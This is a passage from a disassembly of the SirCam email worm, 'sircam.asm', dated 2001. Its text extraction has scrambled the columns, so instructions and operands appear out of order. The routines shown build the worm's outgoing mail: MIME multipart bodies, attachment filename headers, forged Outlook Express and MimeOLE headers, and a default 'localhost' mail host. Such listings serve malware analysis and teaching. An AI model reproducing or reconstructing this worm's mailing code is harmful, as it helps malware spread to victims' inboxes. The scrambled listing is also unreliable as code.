; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4125C4
proc near
; DATA XREF: CODE:00412540\030o
push
ebx
push
esi
call
sub_402D3C
mov
ebx, edx
mov
esi, eax
mov
eax, [esi+10h]
call
sub_402BDC
mov
eax, [esi+8]
call
sub_402BDC
mov
eax, [esi+4]
call
sub_402BDC
mov
edx, ebx
and
dl, 0FCh
mov
eax, esi
call
sub_402BCC
test
bl, bl
jle
short loc_4125FE
mov
eax, esi
call
sub_402D2C
loc_4125FE:
sub_4125C4
; CODE XREF: sub_4125C4+31\030j
pop
pop
retn
endp
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_412604
proc near
sub_412604
push
mov
mov
mov
call
mov
mov
call
pop
retn
endp
; CODE XREF: sub_412620+1C\031p
; sub_412708+28\031p
ebx
ebx, eax
dl, 1
eax, ds:off_411644
sub_411838
edx, eax
eax, [ebx+4]
sub_40C0D0
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sircam.asm
Fri Aug 10 12:42:44 2001
502
; Attributes: bp-based frame
sub_412620
proc near
var_4
= dword ptr -4
push
mov
push
push
push
push
mov
mov
xor
push
push
push
mov
mov
call
mov
mov
mov
call
mov
mov
mov
mov
call
mov
mov
call
lea
mov
call
lea
mov
call
lea
mov
mov
call
mov
mov
mov
call
mov
mov
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_4190CC+BAD\031p
ebp
ebp, esp
0
ebx
esi
edi
esi, edx
ebx, eax
eax, eax
ebp
offset loc_4126BE
dword ptr fs:[eax]
fs:[eax], esp
eax, ebx
sub_412604
edi, eax
edx, edi
eax, [ebx+4]
sub_40C20C
ebx, eax
edx, [ebx+28h]
eax, esi
ecx, [eax]
dword ptr [ecx+68h]
edx, offset aText_0 ; "text"
eax, ebx
sub_411F70
eax, [ebx+14h]
edx, offset aPlain_0 ; "plain"
sub_40351C
eax, [ebx+18h]
edx, offset dword_4126F4
sub_40351C
edx, [ebp+var_4]
eax, esi
ecx, [eax]
dword ptr [ecx+1Ch]
eax, [ebp+var_4]
ecx, ds:dword_412704
dl, [ebx+13h]
sub_40F230
[ebx+12h], al
byte ptr [ebx+11h], 2
eax, ebx
sub_4118CC
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4126C5
loc_4126B5:
sub_412620
; CODE XREF: CODE:004126C3\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -18h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4126BE:
; DATA XREF: sub_412620+F\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
503
jmp
short loc_4126B5
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4126C5:
; DATA XREF: sub_412620+90\030o
pop
edi
pop
esi
pop
ebx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 4
aText_0
db ’text’,0
; DATA XREF: sub_412620+39\030o
align 4
dd 0FFFFFFFFh, 5
aPlain_0
db ’plain’,0
; DATA XREF: sub_412620+48\030o
align 4
dd 0FFFFFFFFh, 0Ch
dword_4126F4
dd 7373656Dh, 20656761h, 74786574h, 0 ; DATA XREF: sub_412620+55\030o
dword_412704
dd 3FFh
; DATA XREF: sub_412620+6C\030r
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_412708
proc near
var_C
var_8
var_4
= dword ptr -0Ch
= dword ptr -8
= dword ptr -4
push
mov
push
push
push
push
push
mov
mov
mov
call
xor
push
push
push
mov
mov
call
mov
mov
mov
call
mov
mov
mov
call
mov
mov
call
lea
mov
call
mov
lea
call
mov
lea
call
; CODE XREF: sub_4190CC+BDB\031p
ebp
ebp, esp
0
0
0
ebx
esi
[ebp+var_4], edx
ebx, eax
eax, [ebp+var_4]
sub_4038D8
eax, eax
ebp
offset loc_4127DC
dword ptr fs:[eax]
fs:[eax], esp
eax, ebx
sub_412604
esi, eax
edx, esi
eax, [ebx+4]
sub_40C20C
ebx, eax
edx, [ebp+var_4]
eax, [ebx+28h]
sub_40DB00
edx, [ebp+var_4]
eax, ebx
sub_411E58
edx, [ebp+var_C]
eax, [ebp+var_4]
sub_4073EC
eax, [ebp+var_C]
edx, [ebp+var_8]
sub_406E9C
edx, [ebp+var_8]
eax, [ebx+20h]
sub_40351C
sircam.asm
Fri Aug 10 12:42:44 2001
504
mov
edx, [ebx+20h]
mov
eax, offset dword_4127F4
call
sub_4039B4
test
eax, eax
jnz
short loc_41279C
lea
eax, [ebx+18h]
mov
ecx, [ebx+20h]
mov
edx, offset aAttachmentFile ; "attachment; filename="
call
sub_403770
jmp
short loc_4127B6
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41279C:
push
push
push
lea
mov
call
; CODE XREF: sub_412708+80\030j
offset aAttachmentFi_0 ; "attachment; filename=\""
dword ptr [ebx+20h]
offset dword_412840
eax, [ebx+18h]
edx, 3
sub_4037E4
mov
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_412708+92\030j
byte ptr [ebx+11h], 3
eax, ebx
sub_4118CC
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4127E3
loc_4127B6:
loc_4127CE:
sub_412708
; CODE XREF: CODE:004127E1\031j
lea
eax, [ebp+var_C]
mov
edx, 3
call
sub_4034EC
retn
endp ; sp = -28h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4127DC:
; DATA XREF: sub_412708+1B\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4127CE
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4127E3:
; DATA XREF: sub_412708+C1\030o
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 1
dword_4127F4
dd 20h, 0FFFFFFFFh, 16h ; DATA XREF: sub_412708+74\030o
aAttachmentFile db ’attachment; filename=’,0 ; DATA XREF: sub_412708+88\030o
align 4
dd 0FFFFFFFFh, 17h
aAttachmentFi_0 db ’attachment; filename="’,0 ; DATA XREF: sub_412708+94\030o
dd 0FFFFFFFFh, 1
dword_412840
dd 22h
; DATA XREF: sub_412708+9C\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_412844
proc near
var_10
= dword ptr -10h
; CODE XREF: sub_4190CC+BE5\031p
sircam.asm
var_C
var_8
var_4
Fri Aug 10 12:42:44 2001
505
= dword ptr -0Ch
= dword ptr -8
= dword ptr -4
push
ebp
mov
ebp, esp
xor
ecx, ecx
push
ecx
push
ecx
push
ecx
push
ecx
push
ebx
push
esi
push
edi
mov
ebx, eax
xor
eax, eax
push
ebp
push
offset loc_4129AB
push
dword ptr fs:[eax]
mov
fs:[eax], esp
mov
eax, [ebx+8]
mov
edx, [eax]
call
dword ptr [edx+40h]
mov
esi, [ebx+4]
cmp
dword ptr [esi+8], 1
jnz
short loc_41288A
mov
eax, esi
xor
edx, edx
call
sub_40C20C
mov
edx, [eax+24h]
mov
eax, [ebx+8]
mov
ecx, [eax]
call
dword ptr [ecx+8]
jmp
loc_412988
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41288A:
; CODE XREF: sub_412844+2B\030j
lea
call
mov
mov
dec
test
jl
inc
xor
eax, [ebp+var_4]
sub_41238C
eax, [ebx+4]
esi, [eax+8]
esi
esi, esi
short loc_4128D4
esi
edi, edi
lea
mov
mov
call
mov
mov
mov
call
mov
mov
call
mov
mov
mov
call
inc
dec
jnz
; CODE XREF: sub_412844+8E\031j
eax, [ebp+var_C]
ecx, [ebp+var_4]
edx, offset dword_4129C4
sub_403770
edx, [ebp+var_C]
eax, [ebx+8]
ecx, [eax]
dword ptr [ecx+34h]
eax, [ebx+4]
edx, edi
sub_40C20C
edx, [eax+24h]
eax, [ebx+8]
ecx, [eax]
dword ptr [ecx+3Ch]
edi
esi
short loc_4128A0
lea
mov
; CODE XREF: sub_412844+57\030j
eax, [ebp+var_10]
ecx, [ebp+var_4]
loc_4128A0:
loc_4128D4:
sircam.asm
Fri Aug 10 12:42:44 2001
mov
call
mov
mov
mov
call
mov
mov
call
mov
xor
push
push
push
mov
mov
mov
mov
mov
call
mov
mov
call
mov
add
mov
call
mov
add
mov
call
mov
add
mov
call
mov
call
mov
mov
mov
mov
call
xor
pop
pop
pop
mov
push
506
edx, offset dword_4129C4
sub_403770
edx, [ebp+var_10]
eax, [ebx+8]
ecx, [eax]
dword ptr [ecx+34h]
dl, 1
eax, ds:off_411644
sub_411838
[ebp+var_8], eax
eax, eax
ebp
offset loc_412981
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_8]
edx, [eax+28h]
eax, [ebx+8]
ecx, [eax]
dword ptr [ecx+68h]
edx, offset aMultipart_0 ; "multipart"
eax, [ebp+var_8]
sub_411F70
eax, [ebp+var_8]
eax, 14h
edx, offset aMixed_1 ; "mixed"
sub_40351C
eax, [ebp+var_8]
eax, 18h
edx, offset aMultipartMessa ; "Multipart message"
sub_40351C
eax, [ebp+var_8]
eax, 1Ch
edx, [ebp+var_4]
sub_40351C
eax, [ebp+var_8]
sub_4118CC
eax, [ebp+var_8]
edx, [eax+24h]
eax, [ebx+8]
ecx, [eax]
dword ptr [ecx+8]
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_412988
loc_412978:
; CODE XREF: sub_412844+142\031j
mov
eax, [ebp+var_8]
call
sub_402BDC
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_412981:
; DATA XREF: sub_412844+BD\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_412978
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_412988:
; CODE XREF: sub_412844+41\030j
; DATA XREF: sub_412844+12F\030o
xor
pop
pop
pop
mov
push
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4129B2
sircam.asm
loc_412995:
sub_412844
Fri Aug 10 12:42:44 2001
507
; CODE XREF: CODE:004129B0\031j
lea
eax, [ebp+var_10]
mov
edx, 2
call
sub_4034EC
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -24h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4129AB:
; DATA XREF: sub_412844+11\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_412995
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4129B2:
; DATA XREF: sub_412844+14C\030o
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 2
dword_4129C4
dd 2D2Dh, 0FFFFFFFFh, 9 ; DATA XREF: sub_412844+62\030o
; sub_412844+96\030o
aMultipart_0
db ’multipart’,0
; DATA XREF: sub_412844+D6\030o
align 4
dd 0FFFFFFFFh, 5
aMixed_1
db ’mixed’,0
; DATA XREF: sub_412844+E9\030o
align 4
dd 0FFFFFFFFh, 11h
aMultipartMessa db ’Multipart message’,0 ; DATA XREF: sub_412844+F9\030o
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_412A08
proc near
var_30
var_2C
var_28
var_20
var_1C
var_18
var_14
var_10
var_C
var_8
var_4
=
=
=
=
=
=
=
=
=
=
=
dword
dword
qword
dword
dword
dword
dword
dword
dword
dword
dword
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
; CODE XREF: sub_4190CC+BEF\031p
-30h
-2Ch
-28h
-20h
-1Ch
-18h
-14h
-10h
-0Ch
-8
-4
push
mov
mov
ebp
ebp, esp
ecx, 6
push
push
dec
jnz
push
push
push
mov
xor
0
0
ecx
short loc_412A10
ebx
esi
edi
ebx, eax
eax, eax
loc_412A10:
; CODE XREF: sub_412A08+D\031j
sircam.asm
Fri Aug 10 12:42:44 2001
508
push
push
push
mov
mov
ebp
offset loc_412B7A
dword ptr fs:[eax]
fs:[eax], esp
ecx, offset aXMailerMicroso ; "X-Mailer: Microsoft Outlook Expres
xor
mov
mov
call
mov
edx, edx
eax, [ebx+8]
esi, [eax]
dword ptr [esi+54h]
ecx, offset aXMimeoleProduc ; "X-MIMEOLE: Produced By Microsoft M
xor
mov
mov
call
mov
xor
mov
mov
call
call
add
fstp
wait
lea
call
mov
lea
mov
call
mov
xor
mov
mov
call
cmp
jz
lea
mov
call
mov
lea
mov
call
mov
xor
mov
mov
call
edx, edx
eax, [ebx+8]
esi, [eax]
dword ptr [esi+54h]
ecx, offset aMimeVersion1_0 ; "MIME-Version: 1.0"
edx, edx
eax, [ebx+8]
esi, [eax]
dword ptr [esi+54h]
sub_408090
esp, 0FFFFFFF8h
[esp+28h+var_28]
s 5.5"...
imeOL"...
loc_412AB6:
eax, [ebp+var_C]
sub_411110
ecx, [ebp+var_C]
eax, [ebp+var_8]
edx, offset dword_412C2C
sub_403770
ecx, [ebp+var_8]
edx, edx
eax, [ebx+8]
esi, [eax]
dword ptr [esi+54h]
dword ptr [ebx+18h], 0
short loc_412AB6
edx, [ebp+var_14]
eax, [ebx+18h]
sub_412240
ecx, [ebp+var_14]
eax, [ebp+var_10]
edx, offset dword_412C3C
sub_403770
ecx, [ebp+var_10]
edx, edx
eax, [ebx+8]
esi, [eax]
dword ptr [esi+54h]
cmp
jz
lea
mov
call
mov
lea
mov
call
mov
xor
mov
mov
call
; CODE XREF: sub_412A08+84\030j
dword ptr [ebx+14h], 0
short loc_412AE4
edx, [ebp+var_1C]
eax, [ebx+14h]
sub_412240
ecx, [ebp+var_1C]
eax, [ebp+var_18]
edx, offset dword_412C54
sub_403770
ecx, [ebp+var_18]
edx, edx
eax, [ebx+8]
esi, [eax]
dword ptr [esi+54h]
mov
mov
eax, [ebx+10h]
edx, [eax]
loc_412AE4:
; CODE XREF: sub_412A08+B2\030j
sircam.asm
Fri Aug 10 12:42:44 2001
call
mov
dec
test
jl
inc
mov
dword ptr [edx+14h]
esi, eax
esi
esi, esi
short loc_412B37
esi
[ebp+var_4], 0
lea
mov
mov
mov
call
mov
lea
call
mov
lea
mov
call
mov
xor
mov
mov
call
inc
dec
jnz
; CODE XREF: sub_412A08+12D\031j
ecx, [ebp+var_28]
edx, [ebp+var_4]
eax, [ebx+10h]
edi, [eax]
dword ptr [edi+0Ch]
eax, dword ptr [ebp+var_28]
edx, [ebp+var_28+4]
sub_4122C8
ecx, dword ptr [ebp+var_28+4]
eax, [ebp+var_20]
edx, offset dword_412C68
sub_403770
ecx, [ebp+var_20]
edx, edx
eax, [ebx+8]
edi, [eax]
dword ptr [edi+54h]
[ebp+var_4]
esi
short loc_412AFB
lea
mov
call
mov
lea
mov
call
mov
xor
mov
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_412A08+E9\030j
edx, [ebp+var_30]
eax, [ebx+0Ch]
sub_4122C8
ecx, [ebp+var_30]
eax, [ebp+var_2C]
edx, offset dword_412C78
sub_403770
ecx, [ebp+var_2C]
edx, edx
eax, [ebx+8]
ebx, [eax]
dword ptr [ebx+54h]
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_412B81
loc_412AFB:
loc_412B37:
loc_412B6C:
sub_412A08
509
; CODE XREF: CODE:00412B7F\031j
lea
eax, [ebp+var_30]
mov
edx, 0Bh
call
sub_4034EC
retn
endp ; sp = -24h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_412B7A:
; DATA XREF: sub_412A08+17\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_412B6C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_412B81:
; DATA XREF: sub_412A08+15F\030o
pop
pop
pop
mov
edi
esi
ebx
esp, ebp
sircam.asm
Fri Aug 10 12:42:44 2001
510
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dd 0FFFFFFFFh, 32h
aXMailerMicroso db ’X-Mailer: Microsoft Outlook Express 5.50.4133.2400’,0
; DATA XREF: sub_412A08+22\030o
align 4
dd 0FFFFFFFFh, 38h
aXMimeoleProduc db ’X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400’,0
; DATA XREF: sub_412A08+31\030o
align 4
dd 0FFFFFFFFh, 11h
aMimeVersion1_0 db ’MIME-Version: 1.0’,0 ; DATA XREF: sub_412A08+40\030o
align 4
dd 0FFFFFFFFh, 6
dword_412C2C
dd 65746164h, 203Ah, 0FFFFFFFFh, 0Eh ; DATA XREF: sub_412A08+69\030o
dword_412C3C
dd 6167724Fh, 617A696Eh, 6E6F6974h, 203Ah, 0FFFFFFFFh
; DATA XREF: sub_412A08+97\030o
dd 9
dword_412C54
dd 6A627553h, 3A746365h, 20h, 0FFFFFFFFh, 4 ; DATA XREF: sub_412A08+C5
\030o
dword_412C68
dd 203A6F54h, 0, 0FFFFFFFFh, 6 ; DATA XREF: sub_412A08+112\030o
dword_412C78
dd 6D6F7246h, 203Ah
; DATA XREF: sub_412A08+140\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_412C80
proc near
; DATA XREF: CODE:0041A980\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_412CA5
push
dword ptr fs:[eax]
mov
fs:[eax], esp
inc
ds:dword_41E66C
xor
eax, eax
pop
edx
pop
ecx
pop
ecx
mov
fs:[eax], edx
push
offset loc_412CAC
locret_412CA4:
; CODE XREF: sub_412C80+2A\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_412CA5:
; DATA XREF: sub_412C80+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_412CA4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_412CAC:
sub_412C80
; CODE XREF: sub_412C80+24\030j
; DATA XREF: sub_412C80+1F\030o
pop
ebp
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_412CB0:
; DATA XREF: CODE:0041A97C\031o
sub
ds:dword_41E66C, 1
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
off_412CB8
dd offset dword_412D04 ; DATA XREF: sub_413258+3B\031r
; sub_418FBC+21\031r
dd 2 dup(0)
sircam.asm
dword_412D04
dword_412D1E
Fri Aug 10 12:42:44 2001
511
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
offset dword_412D04
4 dup(0)
offset dword_412D1E
18h
offset off_40100C
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_412DA0
0Eh, 20000h
db
dd
dd
dd
dd
dd
db
2 dup(0)
offset off_401000
0Ch
offset off_401000
14h
4D535409h, 65535054h ; DATA XREF: CODE:00412CD8\030o
6Eh, 64h
; DATA XREF: CODE:00412CB8\030o
; CODE:00412CC4\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_412D28
proc near
push
push
push
test
jz
add
call
ebx
esi
edi
dl, dl
short loc_412D37
esp, 0FFFFFFF0h
sub_402CDC
mov
mov
xor
mov
call
mov
mov
call
mov
mov
mov
mov
call
mov
lea
mov
call
mov
test
jz
call
pop
add
; CODE XREF: sub_412D28+5\030j
ebx, edx
edi, eax
edx, edx
eax, edi
sub_402BAC
dl, 1
eax, ds:off_40F888
sub_40F908
esi, eax
[edi+4], esi
eax, esi
edx, [eax]
dword ptr [edx]
dword ptr [edi+8], 493E0h
eax, [edi+0Ch]
edx, offset aLocalhost ; "localhost"
sub_40351C
eax, edi
bl, bl
short loc_412D84
sub_402D34
large dword ptr fs:0
esp, 0Ch
loc_412D37:
loc_412D84:
sub_412D28
; CODE XREF: sub_413258+40\031p
; sub_418FBC+26\031p
; CODE XREF: sub_412D28+4B\030j
mov
pop
pop
pop
retn
endp
eax, edi
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
aLocalhost
Fri Aug 10 12:42:44 2001
align 4
dd 0FFFFFFFFh, 9
db ’localhost’,0
align 4
512
; DATA XREF: sub_412D28+3D\030o
